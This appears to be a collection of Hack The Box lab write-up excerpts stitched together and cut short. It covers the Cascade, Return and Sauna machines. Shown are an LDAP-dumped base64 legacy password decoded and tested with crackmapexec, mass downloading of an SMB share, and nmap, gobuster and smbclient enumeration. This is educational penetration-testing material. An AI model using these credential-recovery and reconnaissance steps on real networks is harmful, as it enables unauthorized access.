objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
...
  • Interesting entry cascadeLegacyPwd: clk0bjVldmE= for r.thompson
    • Decode it from base64
    • r.thompson:rY4n5eva
└─$ echo "clk0bjVldmE=" | base64 -d                                             
rY4n5eva 
  • Let’s test the creds for winrm
    • We only have access to smb
└─$ crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva
SMB         10.10.10.182    5985   CASC-DC1         [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] cascade.local\r.thompson:rY4n5eva
└─$ crackmapexec smb 10.10.10.182 -u r.thompson -p rY4n5eva  
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva 
  • Data share
└─$ smbclient  //10.10.10.182/Data -U 'r.thompson%rY4n5eva'   
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurce on
recurce: command not found
smb: \> recurse on
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (4.8 KiloBytes/sec) (average 4.8 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (2.5 KiloBytes/sec) (average 3.7 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (7.9 KiloBytes/sec) (average 5.4 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (5.8 KiloBytes/sec) (average 5.5 KiloBytes/sec)
smb: \> exit
  • Meeting_Notes_June_2018.html

Hero Image
[HTB] Machine: Return

Return

Enumeration

  • nmap
└─$ nmap -p- -Pn 10.10.11.108 -T4 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-10 16:41 BST
Stats: 0:05:48 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 62.24% done; ETC: 16:50 (0:03:31 remaining)
Warning: 10.10.11.108 giving up on port because retransmission cap hit (6).
Stats: 0:14:43 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.03% done; ETC: 16:56 (0:00:09 remaining)
Nmap scan report for 10.10.11.108 (10.10.11.108)
Host is up (0.12s latency).
Not shown: 65483 closed tcp ports (conn-refused), 28 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49679/tcp open  unknown
49682/tcp open  unknown
49694/tcp open  unknown
64731/tcp open  unknown
└─$ nmap -sC -sV -Pn 10.10.11.108
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-09 18:52 BST
Nmap scan report for 10.10.11.108 (10.10.11.108)
Host is up (0.19s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-08-09 18:11:46Z)
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
464/tcp open  kpasswd5?
593/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp open  tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-08-09T18:12:01
|_  start_date: N/A
|_clock-skew: 18m01s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.64 seconds
  • smb
└─$ smbclient -N -L //10.10.11.108
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.108 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • gobuster
└─$ gobuster dir -u http://10.10.11.108/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.108/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2023/08/10 15:50:19 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 150] [--> http://10.10.11.108/images/]
/index.php            (Status: 200) [Size: 28274]
/Images               (Status: 301) [Size: 150] [--> http://10.10.11.108/Images/]
/Index.php            (Status: 200) [Size: 28274]
/settings.php         (Status: 200) [Size: 29090]
/IMAGES               (Status: 301) [Size: 150] [--> http://10.10.11.108/IMAGES/]
/INDEX.php            (Status: 200) [Size: 28274]
  • Web Server

Hero Image
[HTB] Machine: Sauna

Sauna

Enumeration

  • nmap
└─$ nmap -Pn -sC -sV 10.10.10.175 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-28 17:36 BST
Nmap scan report for 10.10.10.175 (10.10.10.175)
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-28 23:35:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m29s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-28T23:36:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.94 seconds
  • gobuster
└─$ gobuster dir -u http://10.10.10.175 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x asp,aspx  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.175
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,asp
[+] Timeout:                 10s
===============================================================
2023/06/28 18:47:01 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/Images               (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css                  (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES               (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/Fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]
/CSS                  (Status: 301) [Size: 147] [--> http://10.10.10.175/CSS/]
  • smbclient found nothing
└─$ smbclient -N -L //10.10.10.175
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • Web server